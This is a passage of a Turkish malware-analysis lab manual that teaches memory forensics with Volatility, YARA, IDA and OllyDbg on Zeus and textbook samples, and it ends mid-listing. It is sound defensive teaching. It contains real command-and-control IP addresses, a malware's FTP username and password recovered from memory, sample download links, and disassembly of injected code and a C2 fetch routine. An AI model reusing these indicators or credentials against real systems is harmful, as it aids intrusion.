  • 6. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-MA-? Uygulama Adı: Windows Sistemlerde Bellek Dökümü Alma Amaçlı Kullanılan Ticari/Ücretsiz Yazılımlar Amaç: Zararlının bulaştığı Windows sistemin bellek dökümünü almak. Lab senaryosu: Zararlının çalıştığı windows sistemde uygulama çalıştırılarak bellek dökümü elde edilir. Kullanılan Araçlar: ● DumpIt 2.0 ● Memoryze 3.0 Adımlar: 1. Adım: Memoryze uygulamasıbellek dökümünün alınacağısistemekopyalanır.Komut satırından veya görsel olarak uygulamanın bulunduğu dizine girilir. MemoryDD.bat dosyası çalıştırılıp bellek döküm alma işlemi başlatılır. Sadece belle bir uygulamanın bellek dökümü için ProcessDD.bat dosyası kullanılabilir. 2. Adım: Döküm alma işlemi bittiğinde memoryze’ın bulunduğu dizinde Audits dizini altında hedef işletimsisteminin adında bir dizin oluşturulur. Bu dizinde döküm işlemiyle ilgililog dosyalarının yanı sıra memory.1b12381b.img benzeri bir isme sahip .img uzantılı bellek döküm dosyası bulunur. Bu dosya analizin yapılacağı sisteme kopyalanır. 3. Adım: Alternatif olarak DumpIT uygulaması da bellek dökümü alma amacıyla kullanılabilir. Hedef sisteme kopyalanan DumpIT uygulaması çalıştırıldığında bulunduğu dizine .raw uzantılı bir bellek döküm dosyası kaydeder. Bu dosya analiz edileceği sisteme kopyalanarak bellek analizine başlanabilir.
  • 7. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-MA-? Uygulama Adı: Linux Sistemlerde Bellek Dökümü Alma Amaçlı Kullanılan Ticari/Ücretsiz Yazılımlar Amaç: Zararlının bulaştığı Linux sistemin bellek dökümünü almak. Lab senaryosu: Zararlının çalıştığı Linux sistemde uygulama/komut çalıştırılarak bellek dökümü elde edilir. Kullanılan Araçlar: ● memdump 1.01 ● dc3dd ● Helix3 Pro R3 Adımlar: 1. Adım: Terminalden “dc3dd if=/dev/mem > dump.mem” komutu ile fiziksel sistem belleği dump.mem isminde bir dosyaya kaydedilir. Bazı linux dağıtımlarında/sürümlerinde bu komut bellek dökümünü eksiksiz almak için yeterli olmayabilir. Bu gibi durumlarda memdump uygulaması bellek dökümü alınacak sisteme kopyalanıp veya yüklenip terminalden “memdump > dump.mem” komutu ile döküm alma işlemi gerçekleştirilir. Bir başka seçenek de ücretli bir yazılımolan Helix3Pro ilebellek dökümü almaktır. Helix3 açılıp sol paneldeki memory bölümünden fiziksel bellek seçilip üst menüden “Acquire Device” ikonuna basılır. Gelen ekranda bellek dökümü ile ilgii istenen harici ayarlar varsa yapılıp “Start Acquisition” butonuna basılarak bellek dökümü alınır. 2. Adım: İlk adımda anlatılan araçlar kullanılarak elde edilen bellek döküm dosyası analizin yapılacağı sisteme kopyalanarak analiz işlemine başlanabilir.
  • 8. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-MA-? Uygulama Adı: Volatility Kullanarak Bellek Analizi Amaç: Bellek dökümünü analiz etmek. Lab senaryosu: Zararlının çalıştığı makinenin bellek dökümü Volatility aracı/frameworkü kullanılarak analiz edilir ve kendisini explorer.exe’ye enjekte etmiş zararlının sebep olduğu anormallikler gözlenir. Kullanılan Araçlar: ● Volatility 2.2 ● Meterpreter çalıştırılmış WinXP SP3 bellek dökümü Adımlar: Volatility ücretsiz olarak indirilip kurulabileceğil gibi Kali’de hali hazırda yüklü gelmektedir ve konsoldan vol komutu ile çalıştırılabilir, ama eklentileri bulabilmesi için çalıştırmadan önce /usr/share/volatility/ dizinine geçilmesi gerekir. 1. Adım: “vol -f dump1.vmem imageinfo” komutu ile bellek dökümü hakkında bilgi alınır. Komut -f dump1.vmem (dump1.vmem adlı bellek döküm dosyası üzerinde) imageinfo (imageinfo adlı eklentiyi kullan) şeklinde açıklanabilir. Windows XP SP3 sistemin bellek dökümü için çıktısı şu şekildedir. Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86) AS Layer1 : JKIA32PagedMemoryPae (Kernel AS) …... KUSER_SHARED_DATA : 0xffdf0000 Image date and time : 2013-08-23 09:08:32 UTC+0000 Image local date and time : 2013-08-23 12:08:32 +0300 2. Adım: Bundan sonraki volatility komutları için “-f dump1.vmem --profile=WinXPSP3x86” parametrelerinin, ilgili eklentinin adı ve parametreleriyle beraber kullanılarak bellek dökümünün ve dökümün ait olduğu sistemin Volatility’e bildirilmesi gerekir. “vol -f dump1.vmem --profile=WinXPSP3x86 pslist” komutu ile süreçlerin listesi alınır. …. 0x865be658 spoolsv.exe 1380 704 10 136 0 0 2013-08-15 12:22:51 0x86144020 explorer.exe 1644 1604 14 438 0 0 2013-08-15 12:22:53
  • 9. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 0x8634fda0 vmtoolsd.exe 1804 1644 5 253 0 0 2013-08-15 12:22:56 0x86488858 svchost.exe 1916 704 5 121 0 0 2013-08-15 12:23:03 …… Süreçlerin PID(Process ID) ve PPID(Parent Process ID) değerlerine bakılarak beklenmeyen servisler ya da uygulamalar tarafından başlatılan şüpheli süreçler belirlenebilir. 3. Adım: Zararlı yazılımın bir şekilde ağ erişimi sağlaması beklendiğinden dolayı connections(aktif bağlantılar listeler) ve connscan(önceki bağlantıları listeler) komutları ile sistemin ağ haraketleri incelenir. “”vol -f dump1.vmem --profile=WinXPSP3x86 connscan” (windows vista ve sonrası profiller için netscan komutu ile daha detaylı bir çıktı elde edilebilir) Offset(P) Local Address Remote Address Pid ---------- ------------------------- ------------------------- --- 0x060dc008 192.168.41.139:1551 192.168.41.1:4545 1644 0x060df488 192.168.41.139:1433 192.168.41.1:4545 1644 0x06101630 192.168.41.139:1575 192.168.41.1:4545 1644 0x0610be68 192.168.41.139:1518 192.168.41.1:4545 1644 0x0611ae68 192.168.41.139:1285 192.168.41.1:4545 1644 0x0611c610 192.168.41.139:1526 192.168.41.1:4545 1644 0x0613a738 192.168.41.139:1473 192.168.41.1:4545 1644 0x06223508 192.168.41.139:1610 192.168.41.1:4545 1644 0x06360b40 192.168.41.139:1172 192.168.41.1:4545 2984 0x063743d8 192.168.41.139:1592 192.168.41.1:4545 1644 0x06385620 192.168.41.139:1221 192.168.41.1:4545 2984 ……. 0x0643e008 192.168.41.139:1597 192.168.41.1:4545 1644 0x06449e68 192.168.41.139:1319 192.168.41.1:4545 1644 0x0644a008 192.168.41.139:1332 192.168.41.1:4545 1644 0x065da620 192.168.41.139:1248 192.168.41.1:4545 2984 0x066b3cd8 192.168.41.139:1439 192.168.41.1:4545 1644 Bağlantı geçmişinden görüldüğü üzere iki süreç 192.168.41.1 IP’si ile bağlantı kurmuş. 2984 PID’ine sahip süreç, süreç listesinde olmadığı için hakkında bir bilgi yok fakat 1644 explorer.exe’nin PID’i olmasından dolayı dikkate değer. Explorer.exe’nin ağ aktivitesi göstermesi beklenmeyen bir durumdur. Bu senaryo için zararlının önce 2984 PID’ine sahip süreç olarak veya süreç üzerinden çalıştığı daha sonra kendisini explorer.exe’ye enjekte ettiği hipotezi öne sürülebilir.
  • 10. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-MA-? Uygulama Adı: Çalıştırılan Dosyaya Ait Ağ Bağlantılarını Bulma Amaç: Sistemdeki uygulama veya servislerin ağ aktivitelerini incelemek. Labsenaryosu:Zeus zararlısınn çalıştığı WinXP SP2 sistemdeki network aktivitileribellek analiz yöntemiyle tespit edilir. Kullanılan Araçlar: ● Volatility 2.2 ● Zeus Bellek Dökümü (http://malwarecookbook.googlecode.com/svn- history/r26/trunk/17/1/zeus.vmem.zip) Adımlar: 1. Adım: “vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 connections” komutu ile dökümün alındığı andaki aktif bağlantılar listelenir. Örnek dökümde bu komut sonuç vermeyecektir. “vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 connscan” komutu ile önceki bağlantılar listelenmeye çalışılır. Volatile Systems Volatility Framework 2.2 Offset(P) Local Address Remote Address Pid ---------- ------------------------- ------------------------- --- 0x02214988 172.16.176.143:1054 193.104.41.75:80 856 0x06015ab0 0.0.0.0:1056 193.104.41.75:80 856 2. Adım: Birinci adımda bulunan bağlantıların 856 PID’li uygulamaya, pslist ile bakıldığında svchost.exe’e ait olduğu görülmektedir. “whois 193.104.41.75” ile IP sorgulandığında Microsoft ile alakası olmayan bir IP olduğu görülmektedir ki svchost.exe’nin böyle bir IP ile bağlantı kurması beklenen bir durum değildir. “vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 sockets” komutu ile sistemdeki açık soketler listelenir. sockets yerine sockscan eklentisi ile önceki açık soketleri listelemek de mümkündür. Offset(V) PID Port Proto Protocol Address Create Time ---------- ------ ------ ------ --------------- --------------- ----------- 0x80fd1008 4 0 47 GRE 0.0.0.0 2010-08-11 06:08:00 0xff258008 688 500 17 UDP 0.0.0.0 2010-08-11 06:06:35 0xff367008 4 445 6 TCP 0.0.0.0 2010-08-11 06:06:17 0x80ffc128 936 135 6 TCP 0.0.0.0 2010-08-11 06:06:24 0xff37cd28 1028 1058 6 TCP 0.0.0.0 2010-08-15 19:17:56 0xff20c478 856 29220 6 TCP 0.0.0.0 2010-08-15 19:17:27 0xff225b70 688 0 255 Reserved 0.0.0.0 2010-08-11 06:06:35
  • 11. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 0xff254008 1028 123 17 UDP 127.0.0.1 2010-08-15 19:17:56 0x80fce930 1088 1025 17 UDP 0.0.0.0 2010-08-11 06:06:38 0xff127d28 216 1026 6 TCP 127.0.0.1 2010-08-11 06:06:39 0xff206a20 1148 1900 17 UDP 127.0.0.1 2010-08-15 19:17:56 0xff1b8250 688 4500 17 UDP 0.0.0.0 2010-08-11 06:06:35 0xff382e98 4 1033 6 TCP 0.0.0.0 2010-08-11 06:08:00 0x80fbdc40 4 445 17 UDP 0.0.0.0 2010-08-11 06:06:17 Eldeki bulgular ışığında analiz çalışmalarını services.exe’nin üzerine yoğunlaştırmak doğru bir yaklaşım olabilir. Uygulama No: BGA-MA-? Uygulama Adı: Bellekten Zararlı Yazılıma Ait Çalıştırılabilir Dosyanın Çıkarılması Amaç: Bellekteki zararlı yazılımı çalıştırılabilir dosya olarak elde etmek. Lab senaryosu: Bellekte kendi başına ya da başka bir sürece dahil olarak çalışan zararlı yazılım çalıştırılabilirdosya olarak kaydedilip dosya üzerinde dinamik, statikveya imza tabanlı analizler yapma imkanı elde edilir. Kullanılan Araçlar: ● Volatility 2.2 ● Zeus Bellek Dökümü (http://malwarecookbook.googlecode.com/svn- history/r26/trunk/17/1/zeus.vmem.zip) Adımlar: 1. Adım: Bir sürecin adreslenebilen tüm bellek alanını kaydetmek için Volatility’nin memdump eklentisi kullanılabilir. Örneğin: “vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 memdump -D ~/Desktop/zeus -p 856” komutu ile 856 PID’li süreç “~/Desktop/zeus/856.dmp” dosyasına kaydedilir. 2. Adım: Eğer zararlının kendisinibaşka bir sürece enjekte ettiğinden şüpheleniliyorsa, malfind eklentisi kullanılarak şüpheli sürecin bellek alanına ait VAD(virtual address descriptor) değerlerine ve bellek üzerinde okuma,yazma,çalıştırma izinlerine bakılarak enjekte edilmiş dll veya kodlar bulunabilir. “vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 malfind -D ~/Desktop/zeus -p 856” Process: svchost.exe Pid: 856 Address: 0xb70000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
  • 12. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Flags: CommitCharge: 38, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00b70000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ.............. 0x00b70010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@....... 0x00b70020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00b70030 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 ................ 0xb70000 4d DEC EBP 0xb70001 5a POP EDX 0xb70002 90 NOP ……. 0xb7003c d000 ROL BYTE [EAX], 0x1 0xb7003e 0000 ADD [EAX], AL Process: svchost.exe Pid: 856 Address: 0xcb0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00cb0000 b8 35 00 00 00 e9 cd d7 c5 7b 00 00 00 00 00 00 .5.......{...... 0x00cb0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00cb0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00cb0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0xcb0000 b835000000 MOV EAX, 0x35 0xcb0005 e9cdd7c57b JMP 0x7c90d7d7 0xcb000a 0000 ADD [EAX], AL …. 3. Adım: Elde edilen dosyalar üzerinde gelişmiş statik ve dinamik analiz yöntemleri uygulanabilir, Cuckoo gibi sandboxlarla analiz edilebilir veya bilindik bir zararlı olması ihtimaline karşın virustotal.com gibi online tarama yapan sistemlere gönderilebilir. Örnek bellek dökümünden ikinciadımda elde edilen process.0x80ff88d8.0xb70000.dmp isimlidosya virustotal aracılığıyla taratılarak birçok antivirüs tarafından zbot(zeus) türevi olarak tanımlandığı görülmüştür.
  • 13. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-MA-? Uygulama Adı: Bellekte Parola Bulma Amaç: Zararlı yazılımın kullandıgı parolları bulmak. Lab senaryosu: Çalıştığında veri aktarmak veya komut almak gibi amaçlarla FTP sunucusuna bağlanan zararlının hafıza dökümünden sunucunun kullanıcı adı ve parolası bulunur. Kullanılan Araçlar: ● Volatility 2.2 ● UsbFix.exe (074119aa1af762c3abe81bd5b682a43781a9ce726aa59c5fd4c609912d249d76) Adımlar: 1. Adım: “ vol -f ~/Desktop/memdump.vmem --profile=WinXPSP3x86 connections” veya(connscan) ile aktif veya geçmiş bağlantılar listelenir. Volatile Systems Volatility Framework 2.2 Offset(V) Local Address Remote Address Pid ---------- ------------------------- ------------------------- ------ 0x8608d220 10.10.10.130:1046 10.10.10.129:21 2480 2. Adım Örnekteki hedef sunucunun 21. portuna (varsayılan FTP portu) bağlantı kuran 2480 PID’li süreç gibi şüpheli süreçler “vol -f ~/Desktop/memdump.vmem --profile=WinXPSP3x86 memdump -p 2480 -D ~/Desktop/” komutu ile ayrı bir dosyaya kaydedilir. memdump eklentisi -D ile belirtilen dizine -p ile belirtilen PID’deki sürece ait hafızayı pid.dmp(2480.dmp) adlı dosyaya kaydeder. 3. Adım Bu dosya üzerinde strings uygulaması kullanılarak stringler çıkarılıp üzerinde istenilen aramalar yapılabilir. Örneğin aramayı FTP varsayımı üzerinden yapmak için ilk olarak “strings 2480.dmp | grep ftp” ile ftp sunucusunun alanadı bulunabilir. ... ftp.cluster010.ovh.net ftp://%s/ iis_ftp cutftp32.exe ftpProxyServer RomMtftpReadFile failed %d status from TftpGetPut 0x%x calling TftpGetPut(%s,0x%x)
  • 14. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Daha sonra kullanıcı adını bulmak için “strings 2480.dmp | grep USER” ... USER %s …. USER eldesapa %d, USER ... ve parolayı bulmak için “strings 2480.dmp | grep PASS” kullanılabilir. PASS %s PASS TDzwf4wh5N1 ERROR: SrvConfigurationThread returning at >PASSIVE level Farklı protokoller için veya aranan başka önemli veriler için de benzer yöntemler kullanmak mümkündür. Zararlının statik analizinde büyük ihtimalle encrypted veya encoded olarak tutulduğundan dolayı görülemeyen bu tarz bilgilere hafıza analizinde okunabilir halde erişmek mümkün olabilmektedir. Uygulama No: BGA-MA-? Uygulama Adı: Bellekte Zararlı Yazılım Avı Amaç: Belleği bilinen zararlı yazılımlar için taramak. Lab senaryosu: Zararlının bulaştığı sistem yara imzalarıyla taranarak zeus zararlısı olduğu belirlenir. Sistemdeki dll/kod enjeksiyonları bulunur. Kullanılan Araçlar: ● Volatility 2.2 ● Yara 1.7, Yara-python 1.7 ● Zeus Bellek Dökümü (http://malwarecookbook.googlecode.com/svn- history/r26/trunk/17/1/zeus.vmem.zip) Adımlar: 1. Adım: Bellek dökümü yarascan eklentisi kullanılarak tanımlı imzalar için taranabilir. Kullanılan örnek imza dosyası “http://code.google.com/p/yara-project/wiki/MalwareRules” adresinden indirilebilir.
  • 15. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity “vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 yarascan --yara-file=malrules.yara” ……. Owner: Process svchost.exe Pid 856 0x00b73014 2a 3c 73 65 6c 65 63 74 20 00 00 00 2a 3c 6f 70 *<select....*<op 0x00b73024 74 69 6f 6e 20 20 73 65 6c 65 63 74 65 64 00 00 tion..selected.. 0x00b73034 2a 3c 69 6e 70 75 74 20 2a 76 61 6c 75 65 3d 22 *<input.*value=" 0x00b73044 00 00 00 00 42 00 4f 00 46 00 41 00 20 00 61 00 ....B.O.F.A...a. Rule: zbot Owner: Process svchost.exe Pid 856 0x00b73020 2a 3c 6f 70 74 69 6f 6e 20 20 73 65 6c 65 63 74 *<option..select 0x00b73030 65 64 00 00 2a 3c 69 6e 70 75 74 20 2a 76 61 6c ed..*<input.*val 0x00b73040 75 65 3d 22 00 00 00 00 42 00 4f 00 46 00 41 00 ue="....B.O.F.A. 0x00b73050 20 00 61 00 6e 00 73 00 77 00 65 00 72 00 73 00 ..a.n.s.w.e.r.s. Rule: zbot Owner: Process svchost.exe Pid 856 0x00b73034 2a 3c 69 6e 70 75 74 20 2a 76 61 6c 75 65 3d 22 *<input.*value=" 0x00b73044 00 00 00 00 42 00 4f 00 46 00 41 00 20 00 61 00 ....B.O.F.A...a. 0x00b73054 6e 00 73 00 77 00 65 00 72 00 73 00 3a 00 0a 00 n.s.w.e.r.s.:... 0x00b73064 0a 00 25 00 53 00 00 00 67 00 72 00 61 00 62 00 ..%.S...g.r.a.b. Rule: zbot …. Çıktıdan Zeus zararlısının birçok sürece kendisini enjekte ettiği görülmektedir. 2. Adım: İmza tabanlı taramadan sonuç alınamadığı durumlarda dll veya kod enjeksiyonu yöntemiyle başka süreçlere dahil edilmiş kodlar malfind eklentisiyle bellekte taranabilir. “vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 malfind” ……… Process: svchost.exe Pid: 856 Address: 0xb70000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 38, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00b70000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ.............. 0x00b70010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@....... 0x00b70020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00b70030 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 ................ 0xb70000 4d DEC EBP 0xb70001 5a POP EDX 0xb70002 90 NOP 0xb70003 0003 ADD [EBX], AL 0xb70005 0000 ADD [EAX], AL 0xb70007 000400 ADD [EAX+EAX], AL 0xb7000a 0000 ADD [EAX], AL 0xb7000c ff DB 0xff
  • 16. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 0xb7000d ff00 INC DWORD [EAX] 0xb7000f 00b800000000 ADD [EAX+0x0], BH 0xb70015 0000 ADD [EAX], AL 0xb70017 004000 ADD [EAX+0x0], AL 0xb7001a 0000 ADD [EAX], AL 0xb7001c 0000 ADD [EAX], AL …….. 0xb7003a 0000 ADD [EAX], AL 0xb7003c d000 ROL BYTE [EAX], 0x1 0xb7003e 0000 ADD [EAX], AL Process: svchost.exe Pid: 856 Address: 0xcb0000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 0x00cb0000 b8 35 00 00 00 e9 cd d7 c5 7b 00 00 00 00 00 00 .5.......{...... 0x00cb0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00cb0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x00cb0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0xcb0000 b835000000 MOV EAX, 0x35 0xcb0005 e9cdd7c57b JMP 0x7c90d7d7 0xcb000a 0000 ADD [EAX], AL ……..
  • 17. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Malware Analiz Araçları ve Temel Kullanımları Debugger ve Disassembler Kavramları Disassembler, native kod denilen CPU’nun anlayacağı komutlara çevrilerek derlenme işlemi yapılmış (veya assemblerdan geçirilerek) programların tekrar assembly koduna dönüştürülme işlemini yapan uygulamadır. Örneğin işlemcinin anlayacağı “EB eax” opcodunu daha anlaşılır olan “JMP short eax”assemblykoduna dönüştürerek tersine mühendislik işlemini kolaylaştırır. Debugger ise bir süreci çalışma anında takip etmeye ve yönlendirmeye yarayan programdır. Debuggerlar sayesinde süreç, belli bir noktada durdurulup devam ettirilebilir, bellekteki etkileri gözlenebilir, çalışması değiştirilip yönlendirilebilir. Debuggerlar ve disassemblerlar dinamik ve statik analiz aşamalarının temel araçlarıdır. Native kod analizinde en sık kullanılan debuggerlar Windbg, Ollydbg, Immunity Debugger; disassembler ise IDA (Pro veya Community) ’dur. Uygulama No: BGA-MA-? Uygulama Adı: Temel Seviye Disassembler Kullanımı Amaç: Temel seviyede statik analiz yöntemleri kullanarak zararlı yazılımı analiz etmek. Lab senaryosu: Komuta merkezi görevi gören bir web sayfasına bağlanıp komut okuyan zararlı yazılımın işleyişi disassembler kullanılarak analiz edilir. Kullanılan Araçlar: ● IDA Pro 6 ● Lab06-01.exe (Practical Malware Analysis) Adımlar: 1. Adım: IDA çalıştırıldığında gözüken “Quick Start” penceresinden New butonuna basılarak analiz edilecek dosya(Lab06-01.exe) seçilir. Uygun dosya formatı(bu durumda PE) seçilip onaylandıktan sonra IDA’nın ana ekranı açılacaktır. Sol taraftaki Functions bölümünde uygulamanın kullandığı fonksiyonlar, orta bölümdeki sekmelerden ise IDA-View’de graph görünümü, Hex-View de hex görünümü, Structures’da tanımlı veri yapıları, Enums bölümünde tanımlı Enum tipler, Imports’da kullandığı harici fonksiyonlar, Exports’da ise dışarıdan çağırılabilir fonksiyonlar görüntülenir. Ayrıca IDA-View ekranında boşluk(space) tuşuna basılarak text görünümüne geçilip assembly kodları detaylı yorumlar ve virtual adressleri ile görüntülenebilir. 2. Adım: Kodu analiz etmeye başlamadan önce Imports sekmesinden zararlının hangi sistem fonksiyonlarını kullandığına bakmak faydalı olabilir. Örnek zararlıda dosya işlemleri, registery işlemleri yapan ve HTTP bağlantısı kuran dolayısıyla önem arz aden fonksiyonlar şu şekildedir.
  • 18. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Zararlının amacına göre bu fonksiyonlar benzerlik gösterebileceği gibi çok farklı da olabilir. Address Ordinal Name Library ------- ------- ---- ------- 00406000 RegSetValueExA ADVAPI32 00406004 RegOpenKeyExA ADVAPI32 0040600C CreateDirectoryA KERNEL32 ……... 004060CC InternetOpenUrlA WININET 004060D0 InternetCloseHandle WININET 004060D4 InternetReadFile WININET 004060D8 InternetGetConnectedState WININET 004060DC InternetOpenA WININET 3. Adım: Eğer uygulama hakkında hangi fonksiyonlara yoğunlaşılacağı gibi bir ön bilgi yoksa ilk çalışacak fonksiyon olan main fonksiyonu seçilerekanalizebaşlanır(windows exeleriiçinmain, dllleriiçin dllMain). Main fonksiyonu çalıştığında ilk olarak IDA’nın sub_401000 olarak isimlendirdiği 401000 adresindeki fonksiyonu çağırdığı görülmektedir. push ebp mov ebp, esp sub esp, 8 call sub_401000 mov [ebp+var_4], eax cmp [ebp+var_4], 0 Fonksiyona çift tıklanarak veya G tuşuna basılıp adresi girilerek ilgili kod bloğuna ulaşılır. IDA’nın koda eklediği yorumlara bakılarak fonksiyonun InternetGetConnectedState adlı winAPI fonksiyonunu iki parametreyi de 0 vererek çağırdığı görülmektedir. push 0 ; dwReserved push 0 ; lpdwFlags call ds:InternetGetConnectedState Analiz sırasında karşılaşılan winAPI fonksiyonlarıyla ilgili detaylı bilgiye http://msdn.microsoft.com adresinden ulaşılabilir. Fonksiyondan dönen değeri true ya da false olmasına göre kodun gidişatının nasıl olacağı IDA graph görünümünde açıkça görülmektedir.
  • 19. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Ekranda da görüldüğü üzere internet bağlantısının mevcut olup olmadığını söyleyen bir string parametresi ile sub_401271 fonksiyonunu çağırıp fonksiyondan çıkmaktadır. Örnekteki sub_401271 fonksiyonu tahmin edildiği gibi C’nin printf fonksiyonudur. Analizi kolaylaştırması açısından bu fonksiyon sağ tuş -> Rename yolu izlenerek “printf” olarak adlandırılabilir. Böylece IDA genelinde fonksiyonun yeni ismi kullanılır. 4. Adım: ESC tuşu ile bir önceki ekrana(yani main fonksiyonuna) dönülür. Yine assembly kodu okunarak veya graph izlenerek 3. adımda analiz edilen fonksiyondan true dönmüşse sub_401040 fonksiyonun çağırıldığı görülür. Bu fonksiyon, InternetOpen ve InternetOpenURL winAPI fonksiyonlarını kullanarak “http://www.practicalmalwareanalysis.com/cc.htm” adresine bağlanmaktadır. push 0 ; dwFlags push 0 ; lpszProxyBypass push 0 ; lpszProxy push 0 ; dwAccessType push offset szAgent ; "Internet Explorer 7.5/pma" call ds:InternetOpenA mov [ebp+hInternet], eax push 0 ; dwContext push 0 ; dwFlags push 0 ; dwHeadersLength push 0 ; lpszHeaders push offset szUrl ; "http://www.practicalmalwareanalysis.com"... mov eax, [ebp+hInternet]
  • 20. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity push eax ; hInternet call ds:InternetOpenUrlA Adres ve user-agent gibi detaylar network tarafında kullanılacak imza için iyi seçimler olabilir. Fonksiyonun devamında ise açılan dosyanın içerği okunup bir buffera yazılmakta geriye de bufferın adresi döndürülmektedir. Main fonksiyonunda ise dönen değer NULL değilse okunup parse edilen komutun ekrana yazıldığı görülmektedir. call sub_401040 mov [ebp+var_8], al movsx eax, [ebp+var_8] test eax, eax jnz short loc_40123C … push offset aSuccessParsedC ; "Success: Parsed command is %cn" call printf Yine main’in devamında çağırılan sub_401130 fonksiyonu benzer şekilde analiz edildiğinde yaptığı Registery işlemleri görülebilir. Son olarak zararlının sonlanmadan önce ex 0x0EA60 ondalık 60000 ms uyuduğu görülebilir. add esp, 8 push 0EA60h ; dwMilliseconds call ds:Sleep xor eax, eax
  • 21. [ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity Uygulama No: BGA-MA-? Uygulama Adı: Temel Seviye Debugger Kullanımı Amaç: Temel seviyede dinamik analiz yöntemleri kullanarak zararlı yazılımı analiz etmek. Lab senaryosu: Çalışmadan önce dosya adını kontrol eden, bağlantı kuracağı adresi çalışma anında dinamik olarak oluşturan bir zararlı debugger kullanılarak analiz edilir. Kullanılan Araçlar: ● OllyDbg 2 ● Lab09-02.exe (Practical Malware Analysis) Adımlar: OllyDbg kullanarak zararlıyı çalışma anında analiz etmeniz mümkündür. Dikkat edilmesi gereken nokta, statik analizin aksine zararlının gerçekten çalıştırılacak olmasıdır. Bu yüzden analizin uygun lab ortamında yapılması tavsiye edilir. 1. Adım: Analiz edilecek zararlı(Lab09-02.exe) OllyDbg ile açılır. Yoğunlaşılması gereken kod blokları hakkında bir önbilgiyoksa incelemeye main fonksiyonundan başlanabilir. Main fonksiyonunun üzerine(örnekte call 00401128) tıklanıp F2 tuşuna basılarak breakpoint(software) konulur ve F9 ile zararlı çalıştırılır. Bu sayede breakpointe ulaşıldığında kontrol tekrar debuggera geçer, böylece kalınan noktatan detaylı analize devam edilebilir. CPU Disasm Address Hex dump Command Comments 00401619 |. 50 PUSH EAX ; /Arg3 = ASCII "p A" 0040161A |. FF35 DC524000 PUSH DWORD PTR DS:[4052DC] ; |Arg2 = 410B30 00401620 |. FF35 D8524000 PUSH DWORD PTR DS:[4052D8] ; |Arg1 